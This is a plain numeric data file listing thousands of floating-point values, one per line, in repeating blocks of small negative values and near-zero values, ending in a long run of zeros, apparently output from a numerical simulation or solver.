-0.000679631
-2.10885e-09
-0.000679626
8.2934e-10
8.79615e-09
-0.000716374
3.58643e-09
-0.000716357
-4.13795e-09
-0.000716363
-2.49915e-09
-0.000716359
1.6627e-09
-0.000716363
-8.68812e-09
-0.000716362
4.54361e-09
-0.000716375
6.51686e-09
-0.000716352
-1.90723e-08
-0.000716364
1.49284e-08
-0.000716368
3.74449e-09
-0.000716374
8.29668e-09
-8.04305e-09
-0.00031226
6.8541e-10
-0.000312259
-4.53416e-09
-0.000312257
2.96041e-09
-0.000312262
2.26709e-09
-0.000312259
-5.2519e-10
-0.000312263
1.51235e-09
-0.000312261
-1.71852e-09
-0.000312262
3.45129e-09
-0.000312261
-2.43748e-09
-0.00031226
-1.34589e-09
-0.000312268
7.68238e-09
-3.29902e-09
-0.000312267
-0.000349002
4.9193e-09
-0.000349
-7.5697e-09
-0.000348996
2.7615e-10
-0.000348999
6.1171e-09
-0.000348993
-5.93745e-09
-0.000348995
3.12073e-09
-0.000348998
2.50275e-10
-0.000348995
1.4193e-10
-0.000348994
-4.60109e-09
-0.000348997
1.00698e-09
-0.000348992
2.40525e-09
1.85948e-09
-0.000348996
-0.000385728
-3.42415e-09
-0.000385737
3.2935e-10
-0.000385741
3.95545e-09
-0.000385729
-5.17503e-09
-0.000385743
7.7771e-09
-0.000385734
-6.92439e-09
-0.000385735
2.49615e-10
-0.000385734
1.7428e-10
-0.000385741
2.10445e-09
-0.000385739
-1.46003e-09
-0.000385736
-1.95291e-09
2.21019e-09
-0.000385734
-0.000422476
4.8148e-09
-0.00042248
5.6321e-09
-0.000422465
-1.06318e-08
-0.000422473
1.37835e-09
-0.000422467
5.7081e-10
-0.000422474
2.23315e-09
-0.000422479
4.99115e-09
-0.000422472
-7.28672e-09
-0.000422461
-6.9594e-09
-0.000422469
8.40398e-09
-0.00042247
-2.16841e-09
1.06133e-08
-0.000422479
-0.000459205
-6.805e-10
-0.000459203
5.818e-09
-0.000459207
-5.76265e-09
-0.000459211
5.906e-09
-0.000459205
-5.53497e-09
-0.000459198
-4.85534e-09
-0.000459199
5.37671e-09
-0.000459212
6.79389e-09
-0.000459216
-3.5145e-09
-0.000459207
-1.0086e-09
-0.000459208
-1.35728e-09
-1.2429e-09
-0.000459197
-0.000495948
8.6456e-09
-0.000495947
4.51345e-09
-0.000495952
-1.4486e-09
-0.000495933
-1.32431e-08
-0.000495953
1.49303e-08
-0.000495958
-1.12872e-09
-0.000495944
-9.39113e-09
-0.000495943
7.3396e-09
-0.000495953
5.44493e-09
-0.00049594
-1.36917e-08
-0.000495944
3.95331e-09
-2.9661e-09
-0.000495942
-0.000532677
-2.6428e-09
-0.000532676
2.9586e-09
-0.000532682
5.0885e-09
-0.000532701
7.121e-09
-0.000532681
-4.3665e-09
-0.00053268
-2.30148e-09
-0.000532691
1.5001e-09
-0.000532681
-2.03859e-09
-0.00053268
3.52066e-09
-0.00053269
-3.95385e-09
-0.000532692
5.38014e-09
-5.24522e-09
-0.000532691
-0.00056943
7.4785e-09
-0.000569412
-1.63912e-08
-0.00056941
1.2093e-09
-0.000569414
1.00148e-08
-0.00056942
4.164e-09
-0.000569422
2.06545e-09
-0.000569417
-3.9291e-09
-0.000569418
-2.1481e-09
-0.000569412
-1.10955e-09
-0.000569417
2.00095e-09
-0.000569407
-3.96733e-09
3.24517e-09
-0.000569416
-0.000606149
7.9287e-09
-0.000606165
-2.10545e-09
-0.000606164
-1.47235e-09
-0.000606159
5.4863e-09
-0.000606149
-6.44375e-09
-0.000606142
-8.7323e-09
-0.000606154
6.04624e-09
-0.000606149
-8.56019e-09
-0.000606152
1.08993e-09
-0.000606161
9.37172e-09
-0.000606156
-1.14683e-08
9.7627e-10
-0.000606151
-0.000642876
-1.13542e-08
-0.000642894
1.62967e-08
-0.000642892
-4.3373e-09
-0.000642876
-7.8277e-09
-0.000642894
1.23354e-08
-0.000642898
-2.0979e-09
-0.000642891
3.4716e-10
-0.000642903
7.25059e-09
-0.000642902
1.44327e-09
-0.000642876
-1.6216e-08
-0.000642892
3.98812e-09
1.59197e-09
-0.00064289
-0.000679643
-9.6707e-09
-0.000679621
-3.8002e-09
-0.000679627
1.75645e-09
-0.000679644
6.2274e-09
-0.00067963
1.026e-10
-0.000679629
-1.9269e-09
-0.000679627
-6.1145e-10
-0.000679627
7.68476e-09
-0.000679612
-1.31306e-08
-0.00067964
1.13973e-08
-0.000679625
-1.16388e-08
1.49162e-08
-0.000679639
-0.000716359
-1.01999e-08
-0.000716368
3.8775e-09
-0.000716373
8.64505e-09
-0.000716357
-1.23618e-08
-0.000716345
-1.26779e-08
-0.000716365
1.57985e-08
-0.000716364
-3.21126e-09
-0.000716365
8.12223e-09
-0.000716376
-6.36235e-10
-0.000716358
-5.83566e-09
-0.000716379
9.10002e-09
-0.000716361
-3.89978e-09
-0.00031226
-2.63695e-09
-0.000312258
-2.92545e-09
-0.00031226
3.91709e-09
-0.000312265
-1.08661e-09
-0.000312262
3.51478e-09
-0.000312268
-2.58041e-09
-0.00031226
-2.81567e-09
-0.000312264
1.25561e-09
-0.000312258
-1.39891e-09
-0.000312264
3.28927e-09
-0.000312266
-3.8158e-09
-5.429e-10
-0.000348997
-3.19544e-09
-0.000349002
1.59112e-09
-0.000348997
-1.42387e-09
-0.000349003
4.82646e-09
-0.000348996
-2.58939e-09
-0.000348998
-1.54081e-09
-0.000349003
3.69102e-09
-0.000349002
-1.37563e-09
-0.000349004
1.78015e-09
-0.000349
-1.34203e-09
-0.000348998
-5.66469e-09
1.82264e-09
-0.000385741
4.54363e-09
-0.000385731
-8.16281e-09
-0.000385733
1.42393e-09
-0.000385732
2.63362e-09
-0.000385733
-1.38051e-09
-0.000385735
-1.96577e-09
-0.000385727
-2.81735e-09
-0.000385728
-3.19113e-09
-0.000385731
6.9516e-09
-0.000385731
-2.70635e-09
-0.000385736
6.59475e-10
2.60697e-09
-0.000422461
-1.41063e-08
-0.000422476
7.12452e-09
-0.000422479
4.83715e-09
-0.000422477
1.37652e-09
-0.00042247
-8.01855e-09
-0.00042248
5.55332e-09
-0.000422478
-4.72416e-09
-0.000422475
-6.80616e-09
-0.00042247
2.18788e-09
-0.00042247
-4.77669e-09
-0.00042247
3.22959e-09
-1.64857e-09
-0.000459215
4.01917e-09
-0.000459213
5.18493e-09
-0.000459207
-2.29498e-09
-0.000459193
-1.10195e-08
-0.000459216
1.66026e-08
-0.000459198
-1.41496e-08
-0.000459206
3.74758e-09
-0.000459208
-3.49314e-09
-0.000459207
2.68319e-09
-0.000459209
-3.10611e-09
-0.000459215
7.23237e-09
-6.5394e-09
-0.000495942
3.39318e-09
-0.00049594
2.98293e-09
-0.000495943
1.32784e-09
-0.00049595
-3.14749e-09
-0.000495944
1.01187e-08
-0.00049594
-1.75413e-08
-0.000495942
7.33334e-09
-0.000495949
3.63324e-09
-0.00049594
-5.1769e-09
-0.000495946
5.62899e-09
-0.000495937
2.7709e-10
-4.94112e-09
-0.00053268
-7.12407e-09
-0.000532675
-8.45935e-10
-0.00053268
3.2012e-09
-0.000532676
-7.8122e-09
-0.00053267
2.70085e-09
-0.000532689
3.31543e-09
-0.000532689
5.79377e-09
-0.000532682
-4.09309e-09
-0.000532691
4.81539e-09
-0.000532674
-1.22899e-08
-0.00053268
5.97384e-09
1.82934e-09
-0.000569428
4.99471e-09
-0.000569423
-4.00558e-09
-0.000569416
-5.89495e-09
-0.000569425
1.95186e-09
-0.000569415
-7.32432e-09
-0.000569415
5.65853e-09
-0.000569414
6.34338e-09
-0.000569411
-8.76278e-09
-0.000569413
6.15335e-09
-0.000569431
7.6877e-09
-0.000569427
6.9521e-10
-3.27589e-09
-0.000606152
4.3506e-09
-0.000606148
-7.55314e-09
-0.000606164
1.28362e-08
-0.000606162
2.757e-10
-0.000606152
-1.70444e-08
-0.000606152
5.59357e-09
-0.000606143
-3.85067e-09
-0.000606155
2.18243e-09
-0.000606154
5.07186e-09
-0.000606146
-2.57235e-09
-0.000606148
2.66532e-09
-2.2534e-09
-0.000642888
4.97751e-09
-0.000642899
3.6934e-09
-0.000642888
3.1995e-09
-0.000642886
-4.49673e-09
-0.000642903
-2.8117e-10
-0.000642901
5.22755e-09
-0.000642901
-6.5938e-09
-0.000642896
-2.63561e-09
-0.000642891
-1.4298e-10
-0.000642894
1.95865e-09
-0.000642899
8.7193e-09
-6.8643e-09
-0.000679624
-1.13842e-08
-0.000679636
1.20514e-08
-0.000679625
-7.7639e-09
-0.000679637
7.46676e-09
-0.000679626
-1.06083e-08
-0.000679625
4.7843e-09
-0.000679625
-6.7233e-09
-0.000679634
6.6819e-09
-0.000679635
1.5695e-09
-0.000679631
-2.10885e-09
-0.000679626
8.2934e-10
8.79615e-09
-0.000716374
3.58643e-09
-0.000716357
-4.13795e-09
-0.000716363
-2.49915e-09
-0.000716359
1.6627e-09
-0.000716363
-8.68812e-09
-0.000716362
4.54361e-09
-0.000716375
6.56193e-09
-0.000716352
-1.91178e-08
-0.000716364
1.49284e-08
-0.000716368
3.74449e-09
-0.000716374
8.29668e-09
-8.04305e-09
-0.00031226
6.8541e-10
-0.000312259
-4.53416e-09
-0.000312257
2.96041e-09
-0.000312262
2.26709e-09
-0.000312259
-5.2519e-10
-0.000312263
1.51235e-09
-0.000312261
-1.71852e-09
-0.000312262
3.45129e-09
-0.000312261
-2.43748e-09
-0.00031226
-1.34589e-09
-0.000312268
7.68238e-09
-3.29902e-09
-0.000312267
-0.000349002
4.9193e-09
-0.000349
-7.5697e-09
-0.000348996
2.7615e-10
-0.000348999
6.1171e-09
-0.000348993
-5.93745e-09
-0.000348995
3.12073e-09
-0.000348998
2.50275e-10
-0.000348995
1.4193e-10
-0.000348994
-4.60109e-09
-0.000348997
1.00698e-09
-0.000348992
2.40525e-09
1.85948e-09
-0.000348996
-0.000385728
-3.42415e-09
-0.000385737
3.2935e-10
-0.000385741
3.95545e-09
-0.000385729
-5.17503e-09
-0.000385743
7.7771e-09
-0.000385734
-6.92439e-09
-0.000385735
2.49615e-10
-0.000385734
1.7428e-10
-0.000385741
2.10445e-09
-0.000385739
-1.46003e-09
-0.000385736
-1.95291e-09
2.21019e-09
-0.000385734
-0.000422476
4.8148e-09
-0.00042248
5.6321e-09
-0.000422465
-1.06318e-08
-0.000422473
1.37835e-09
-0.000422467
5.7081e-10
-0.000422474
2.23315e-09
-0.000422479
4.99115e-09
-0.000422472
-7.28672e-09
-0.000422461
-6.9594e-09
-0.000422469
8.43025e-09
-0.00042247
-2.19416e-09
1.06133e-08
-0.000422479
-0.000459205
-6.805e-10
-0.000459203
5.818e-09
-0.000459207
-5.76265e-09
-0.000459211
5.906e-09
-0.000459205
-5.53497e-09
-0.000459198
-4.85534e-09
-0.000459199
5.37671e-09
-0.000459212
6.79389e-09
-0.000459216
-3.5145e-09
-0.000459207
-1.0086e-09
-0.000459208
-1.35728e-09
-1.2429e-09
-0.000459197
-0.000495948
8.6456e-09
-0.000495947
4.51345e-09
-0.000495952
-1.4486e-09
-0.000495933
-1.32431e-08
-0.000495953
1.49303e-08
-0.000495958
-1.12872e-09
-0.000495944
-9.39113e-09
-0.000495943
7.3396e-09
-0.000495953
5.44493e-09
-0.00049594
-1.36917e-08
-0.000495944
3.95331e-09
-2.9661e-09
-0.000495942
-0.000532677
-2.6428e-09
-0.000532676
2.9586e-09
-0.000532682
5.0885e-09
-0.000532701
7.121e-09
-0.000532681
-4.3665e-09
-0.00053268
-2.30148e-09
-0.000532691
1.5001e-09
-0.000532681
-2.03859e-09
-0.00053268
3.52066e-09
-0.00053269
-3.95385e-09
-0.000532692
5.38014e-09
-5.24522e-09
-0.000532691
-0.00056943
7.4785e-09
-0.000569412
-1.63912e-08
-0.00056941
1.2093e-09
-0.000569414
1.00148e-08
-0.00056942
4.164e-09
-0.000569422
2.06545e-09
-0.000569417
-3.9291e-09
-0.000569418
-2.1481e-09
-0.000569412
-1.10955e-09
-0.000569417
2.00095e-09
-0.000569407
-3.96733e-09
3.24517e-09
-0.000569416
-0.000606149
7.9287e-09
-0.000606165
-2.10545e-09
-0.000606164
-1.47235e-09
-0.000606159
5.4863e-09
-0.000606149
-6.44375e-09
-0.000606142
-8.7323e-09
-0.000606154
6.04624e-09
-0.000606149
-8.56019e-09
-0.000606152
1.08993e-09
-0.000606161
9.37172e-09
-0.000606156
-1.14683e-08
9.7627e-10
-0.000606151
-0.000642876
-1.13542e-08
-0.000642894
1.62967e-08
-0.000642892
-4.3373e-09
-0.000642876
-7.8277e-09
-0.000642894
1.23354e-08
-0.000642898
-2.0979e-09
-0.000642891
3.4716e-10
-0.000642903
7.25059e-09
-0.000642902
1.44327e-09
-0.000642876
-1.6216e-08
-0.000642892
3.98812e-09
1.59197e-09
-0.00064289
-0.000679643
-9.6707e-09
-0.000679621
-3.8002e-09
-0.000679627
1.75645e-09
-0.000679644
6.2274e-09
-0.00067963
1.026e-10
-0.000679629
-1.9269e-09
-0.000679627
-6.1145e-10
-0.000679627
7.68476e-09
-0.000679612
-1.31306e-08
-0.00067964
1.13973e-08
-0.000679625
-1.13057e-08
1.46115e-08
-0.000679639
-0.000716359
-1.01999e-08
-0.000716368
3.8775e-09
-0.000716373
8.64505e-09
-0.000716357
-1.23618e-08
-0.000716345
-1.26779e-08
-0.000716365
1.57985e-08
-0.000716364
-3.21126e-09
-0.000716365
8.12223e-09
-0.000716376
-6.36235e-10
-0.000716358
-5.83566e-09
-0.000716379
9.10002e-09
-0.000716361
-3.89978e-09
-0.00031226
-2.63695e-09
-0.000312258
-2.92545e-09
-0.00031226
3.91709e-09
-0.000312265
-1.08661e-09
-0.000312262
3.51478e-09
-0.000312268
-2.58041e-09
-0.00031226
-2.81567e-09
-0.000312264
1.25561e-09
-0.000312258
-1.39891e-09
-0.000312264
3.28927e-09
-0.000312266
-3.8158e-09
-5.429e-10
-0.000348997
-3.19544e-09
-0.000349002
1.59112e-09
-0.000348997
-1.42387e-09
-0.000349003
4.82646e-09
-0.000348996
-2.58939e-09
-0.000348998
-1.54081e-09
-0.000349003
3.69102e-09
-0.000349002
-1.37563e-09
-0.000349004
1.78015e-09
-0.000349
-1.34203e-09
-0.000348998
-5.66469e-09
1.82264e-09
-0.000385741
4.54363e-09
-0.000385731
-8.16281e-09
-0.000385733
1.42393e-09
-0.000385732
2.63362e-09
-0.000385733
-1.38051e-09
-0.000385735
-1.96577e-09
-0.000385727
-2.81735e-09
-0.000385728
-3.19113e-09
-0.000385731
6.9516e-09
-0.000385731
-2.70635e-09
-0.000385736
6.59475e-10
2.60697e-09
-0.000422461
-1.41063e-08
-0.000422476
7.12452e-09
-0.000422479
4.83715e-09
-0.000422477
1.37652e-09
-0.00042247
-8.01855e-09
-0.00042248
5.55332e-09
-0.000422478
-4.72416e-09
-0.000422475
-6.80616e-09
-0.00042247
2.18788e-09
-0.00042247
-4.77669e-09
-0.00042247
3.22959e-09
-1.64857e-09
-0.000459215
4.01917e-09
-0.000459213
5.18493e-09
-0.000459207
-2.29498e-09
-0.000459193
-1.10195e-08
-0.000459216
1.66026e-08
-0.000459198
-1.41496e-08
-0.000459206
3.71829e-09
-0.000459208
-3.46357e-09
-0.000459207
2.68319e-09
-0.000459209
-3.10611e-09
-0.000459215
7.23237e-09
-6.5394e-09
-0.000495942
3.39318e-09
-0.00049594
2.98293e-09
-0.000495943
1.32784e-09
-0.00049595
-3.14749e-09
-0.000495944
1.01187e-08
-0.00049594
-1.75413e-08
-0.000495942
7.33334e-09
-0.000495949
3.63324e-09
-0.00049594
-5.1769e-09
-0.000495946
5.62899e-09
-0.000495937
2.7709e-10
-4.94112e-09
-0.00053268
-7.12407e-09
-0.000532675
-8.45935e-10
-0.00053268
3.2012e-09
-0.000532676
-7.8122e-09
-0.00053267
2.70085e-09
-0.000532689
3.31543e-09
-0.000532689
5.79377e-09
-0.000532682
-4.09309e-09
-0.000532691
4.81539e-09
-0.000532674
-1.22899e-08
-0.00053268
5.97384e-09
1.82934e-09
-0.000569428
4.99471e-09
-0.000569423
-4.00558e-09
-0.000569416
-5.89495e-09
-0.000569425
1.95186e-09
-0.000569415
-7.32432e-09
-0.000569415
5.65853e-09
-0.000569414
6.34338e-09
-0.000569411
-8.76278e-09
-0.000569413
6.15335e-09
-0.000569431
7.6877e-09
-0.000569427
6.9521e-10
-3.27589e-09
-0.000606152
4.3506e-09
-0.000606148
-7.55314e-09
-0.000606164
1.28362e-08
-0.000606162
2.757e-10
-0.000606152
-1.70444e-08
-0.000606152
5.59357e-09
-0.000606143
-3.85067e-09
-0.000606155
2.18243e-09
-0.000606154
5.07186e-09
-0.000606146
-2.57235e-09
-0.000606148
2.66532e-09
-2.2534e-09
-0.000642888
4.97751e-09
-0.000642899
3.6934e-09
-0.000642888
3.1995e-09
-0.000642886
-4.49673e-09
-0.000642903
-2.8117e-10
-0.000642901
5.22755e-09
-0.000642901
-6.5938e-09
-0.000642896
-2.63561e-09
-0.000642891
-1.4298e-10
-0.000642894
1.95865e-09
-0.000642899
8.7193e-09
-6.8643e-09
-0.000679624
-1.13842e-08
-0.000679636
1.20514e-08
-0.000679625
-7.7639e-09
-0.000679637
7.46676e-09
-0.000679626
-1.06083e-08
-0.000679625
4.7843e-09
-0.000679625
-6.7233e-09
-0.000679634
6.6819e-09
-0.000679635
1.5695e-09
-0.000679631
-2.10885e-09
-0.000679626
8.2934e-10
8.79615e-09
-0.000716374
3.58643e-09
-0.000716357
-4.13795e-09
-0.000716363
-2.49915e-09
-0.000716359
1.6627e-09
-0.000716363
-8.68812e-09
-0.000716362
4.54361e-09
-0.000716375
6.51686e-09
-0.000716352
-1.90723e-08
-0.000716364
1.49284e-08
-0.000716368
3.74449e-09
-0.000716374
8.29668e-09
-8.04305e-09
-0.000753108
7.9965e-10
0.000753098
-0.000753094
-9.4565e-09
-0.0007531
1.83741e-08
-0.000753093
-1.93471e-08
-0.000753116
9.89215e-09
-0.000753096
-4.8817e-09
-0.000753115
1.56349e-08
-0.000753095
-1.31247e-08
-0.000753099
1.58544e-09
-0.000753098
-5.28452e-09
-0.000753101
1.4266e-08
-2.09713e-08
-0.000753084
-0.000789831
2.9169e-09
0.000789831
-0.000789853
1.34523e-08
-0.000789836
4.98175e-09
-0.000789845
-1.12472e-08
-0.000789841
6.6913e-09
-0.000789837
-6.6643e-09
-0.000789837
1.3555e-08
-0.000789837
-1.37134e-08
-0.000789829
-5.02833e-09
-0.000789852
1.77995e-08
-0.000789838
1.70184e-09
-1.01676e-08
-0.000789851
-0.00082658
5.851e-09
0.000826581
-0.000826565
-7.5235e-10
-0.000826574
1.30238e-08
-0.000826567
-2.30618e-08
-0.000826564
4.09055e-09
-0.000826589
2.00527e-08
-0.000826558
-1.78873e-08
-0.00082659
2.08779e-08
-0.000826571
-2.2996e-08
-0.00082655
-5.2952e-09
-0.000826558
7.01525e-09
2.07782e-09
-0.000826571
-0.000863314
0.000863332
-0.000863328
-0.000863309
-0.000863328
-0.000863319
-0.000863297
-0.000863329
-0.000863311
-0.000863325
-0.000863325
-0.000863312
-0.00086331
-0.000753083
2.80893e-09
-0.000753093
5.38425e-09
-0.000753098
-2.622e-10
-0.000753093
1.663e-10
-0.0007531
-1.19323e-09
-0.000753113
1.82419e-08
-0.000753097
-1.01053e-08
-0.000753108
-8.98103e-09
-0.000753094
5.6467e-10
-0.000753091
-6.84235e-10
-0.000753083
-5.4436e-10
3.1635e-09
-0.000753098
-0.000789851
1.51564e-09
-0.000789847
1.4838e-09
-0.000789851
5.7445e-09
-0.000789829
-2.1475e-08
-0.000789837
3.19723e-09
-0.000789818
-5.377e-11
-0.000789833
4.41647e-09
-0.000789839
-2.84223e-09
-0.000789836
1.12124e-09
-0.000789841
5.00604e-09
-0.000789834
-6.5414e-09
-2.1594e-09
-0.000789831
-0.000826571
9.2625e-11
-0.000826566
-3.94585e-09
-0.000826571
1.2171e-08
-0.000826585
-8.51005e-09
-0.000826569
-1.24703e-08
-0.000826571
3.31602e-09
-0.000826586
2.02503e-08
-0.000826581
-9.93226e-09
-0.00082659
9.46227e-09
-0.000826577
-1.12101e-08
-0.000826576
-8.8507e-09
2.9863e-09
-0.000826581
-0.000863326
-0.00086332
-0.000863308
-0.000863302
-0.000863326
-0.000863308
-0.000863295
-0.000863312
-0.000863304
-0.000863321
-0.000863307
-0.000863332
-0.000753108
7.9965e-10
-0.000753094
-9.4565e-09
-0.0007531
1.83741e-08
-0.000753093
-1.93471e-08
-0.000753116
9.89215e-09
-0.000753096
-4.8817e-09
-0.000753115
1.56349e-08
-0.000753095
-1.31247e-08
-0.000753099
1.58544e-09
-0.000753098
-5.28452e-09
-0.000753101
1.4266e-08
-2.09713e-08
-0.000753084
-0.000789831
2.9169e-09
-0.000789853
1.34523e-08
-0.000789836
4.98175e-09
-0.000789845
-1.12472e-08
-0.000789841
6.6913e-09
-0.000789837
-6.6643e-09
-0.000789837
1.3555e-08
-0.000789837
-1.37134e-08
-0.000789829
-5.02833e-09
-0.000789852
1.77995e-08
-0.000789838
1.70184e-09
-1.01676e-08
-0.000789851
-0.00082658
5.851e-09
-0.000826565
-7.5235e-10
-0.000826574
1.30238e-08
-0.000826567
-2.30618e-08
-0.000826564
4.09055e-09
-0.000826589
2.00527e-08
-0.000826558
-1.78873e-08
-0.00082659
2.08779e-08
-0.000826571
-2.2996e-08
-0.00082655
-5.2952e-09
-0.000826558
7.01525e-09
2.07782e-09
-0.000826571
-0.000863314
-0.000863328
-0.000863309
-0.000863328
-0.000863319
-0.000863297
-0.000863329
-0.000863311
-0.000863325
-0.000863325
-0.000863312
-0.00086331
-0.000753083
2.80893e-09
-0.000753093
5.38425e-09
-0.000753098
-2.622e-10
-0.000753093
1.663e-10
-0.0007531
-1.19323e-09
-0.000753113
1.82419e-08
-0.000753097
-1.01053e-08
-0.000753108
-8.98103e-09
-0.000753094
5.6467e-10
-0.000753091
-6.84235e-10
-0.000753083
-5.4436e-10
3.1635e-09
-0.000753098
-0.000789851
1.51564e-09
-0.000789847
1.4838e-09
-0.000789851
5.7445e-09
-0.000789829
-2.1475e-08
-0.000789837
3.19723e-09
-0.000789818
-5.377e-11
-0.000789833
4.41647e-09
-0.000789839
-2.84223e-09
-0.000789836
1.12124e-09
-0.000789841
5.00604e-09
-0.000789834
-6.5414e-09
-2.1594e-09
-0.000789831
-0.000826571
9.2625e-11
-0.000826566
-3.94585e-09
-0.000826571
1.2171e-08
-0.000826585
-8.51005e-09
-0.000826569
-1.24703e-08
-0.000826571
3.31602e-09
-0.000826586
2.02503e-08
-0.000826581
-9.93226e-09
-0.00082659
9.46227e-09
-0.000826577
-1.12101e-08
-0.000826576
-8.8507e-09
2.9863e-09
-0.000826581
-0.000863326
-0.00086332
-0.000863308
-0.000863302
-0.000863326
-0.000863308
-0.000863295
-0.000863312
-0.000863304
-0.000863321
-0.000863307
-0.000863332
-0.000753108
7.9965e-10
-0.000753094
-9.4565e-09
-0.0007531
1.83741e-08
-0.000753093
-1.93471e-08
-0.000753116
9.89215e-09
-0.000753096
-4.8817e-09
-0.000753115
1.56349e-08
-0.000753095
-1.31247e-08
-0.000753099
1.58544e-09
-0.000753098
-5.28452e-09
-0.000753101
1.4266e-08
-2.09713e-08
-0.000753084
-0.000789831
2.9169e-09
-0.000789853
1.34523e-08
-0.000789836
4.98175e-09
-0.000789845
-1.12472e-08
-0.000789841
6.6913e-09
-0.000789837
-6.6643e-09
-0.000789837
1.3555e-08
-0.000789837
-1.37134e-08
-0.000789829
-5.02833e-09
-0.000789852
1.77995e-08
-0.000789838
1.70184e-09
-1.01676e-08
-0.000789851
-0.00082658
5.851e-09
-0.000826565
-7.5235e-10
-0.000826574
1.30238e-08
-0.000826567
-2.30618e-08
-0.000826564
4.09055e-09
-0.000826589
2.00527e-08
-0.000826558
-1.78873e-08
-0.00082659
2.08779e-08
-0.000826571
-2.2996e-08
-0.00082655
-5.2952e-09
-0.000826558
7.01525e-09
2.07782e-09
-0.000826571
-0.000863314
-0.000863328
-0.000863309
-0.000863328
-0.000863319
-0.000863297
-0.000863329
-0.000863303
-0.000863325
-0.000863325
-0.000863312
-0.00086331
-0.000753083
2.80893e-09
-0.000753093
5.38425e-09
-0.000753098
-2.622e-10
-0.000753093
1.663e-10
-0.0007531
-1.19323e-09
-0.000753113
1.82419e-08
-0.000753097
-1.01053e-08
-0.000753108
-8.98103e-09
-0.000753094
5.6467e-10
-0.000753091
-6.84235e-10
-0.000753083
-5.4436e-10
3.1635e-09
-0.000753098
-0.000789851
1.51564e-09
-0.000789847
1.4838e-09
-0.000789851
5.7445e-09
-0.000789829
-2.1475e-08
-0.000789837
3.19723e-09
-0.000789818
-5.377e-11
-0.000789833
4.41647e-09
-0.000789839
-2.84223e-09
-0.000789836
1.12124e-09
-0.000789841
5.00604e-09
-0.000789834
-6.5414e-09
-2.1594e-09
-0.000789831
-0.000826571
9.2625e-11
-0.000826566
-3.94585e-09
-0.000826571
1.2171e-08
-0.000826585
-8.51005e-09
-0.000826569
-1.24703e-08
-0.000826571
3.31602e-09
-0.000826586
2.02503e-08
-0.000826581
-9.93226e-09
-0.00082659
9.46227e-09
-0.000826577
-1.12101e-08
-0.000826576
-8.8507e-09
2.9863e-09
-0.000826581
-0.000863326
-0.00086332
-0.000863308
-0.000863302
-0.000863326
-0.000863308
-0.000863295
-0.000863312
-0.000863304
-0.000863321
-0.000863307
-0.000863332
-0.000753108
7.9965e-10
-0.000753094
-9.4565e-09
-0.0007531
1.83741e-08
-0.000753093
-1.93471e-08
-0.000753116
9.89215e-09
-0.000753096
-4.8817e-09
-0.000753115
1.56349e-08
-0.000753095
-1.31247e-08
-0.000753099
1.58544e-09
-0.000753098
-5.28452e-09
-0.000753101
1.4266e-08
-2.09713e-08
-0.000753084
-0.000789831
2.9169e-09
-0.000789853
1.34523e-08
-0.000789836
4.98175e-09
-0.000789845
-1.12472e-08
-0.000789841
6.6913e-09
-0.000789837
-6.6643e-09
-0.000789837
1.3555e-08
-0.000789837
-1.37134e-08
-0.000789829
-5.02833e-09
-0.000789852
1.77995e-08
-0.000789838
1.70184e-09
-1.01676e-08
-0.000789851
-0.00082658
5.851e-09
-0.000826565
-7.5235e-10
-0.000826574
1.30238e-08
-0.000826567
-2.30618e-08
-0.000826564
4.09055e-09
-0.000826589
2.00527e-08
-0.000826558
-1.78873e-08
-0.00082659
2.08779e-08
-0.000826571
-2.2996e-08
-0.00082655
-5.2952e-09
-0.000826558
7.01525e-09
2.07782e-09
-0.000826571
-0.000863314
-0.000863328
-0.000863309
-0.000863328
-0.000863319
-0.000863297
-0.000863329
-0.000863311
-0.000863325
-0.000863325
-0.000863312
-0.00086331
-0.000753083
2.80893e-09
-0.000753093
5.38425e-09
-0.000753098
-2.622e-10
-0.000753093
1.663e-10
-0.0007531
-1.19323e-09
-0.000753113
1.82419e-08
-0.000753097
-1.01053e-08
-0.000753108
-8.98103e-09
-0.000753094
5.6467e-10
-0.000753091
-6.84235e-10
-0.000753083
-5.4436e-10
3.1635e-09
-0.000789851
1.51564e-09
-0.000789847
1.4838e-09
-0.000789851
5.7445e-09
-0.000789829
-2.1475e-08
-0.000789837
3.19723e-09
-0.000789818
-5.377e-11
-0.000789833
4.41647e-09
-0.000789839
-2.84223e-09
-0.000789836
1.12124e-09
-0.000789841
5.00604e-09
-0.000789834
-6.5414e-09
-2.1594e-09
-0.000826571
9.2625e-11
-0.000826566
-3.94585e-09
-0.000826571
1.2171e-08
-0.000826585
-8.51005e-09
-0.000826569
-1.24703e-08
-0.000826571
3.31602e-09
-0.000826586
2.02503e-08
-0.000826581
-9.93226e-09
-0.00082659
9.46227e-09
-0.000826577
-1.12101e-08
-0.000826576
-8.8507e-09
2.9863e-09
-0.000863326
-0.00086332
-0.000863308
-0.000863302
-0.000863326
-0.000863308
-0.000863295
-0.000863312
-0.000863304
-0.000863321
-0.000863307
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
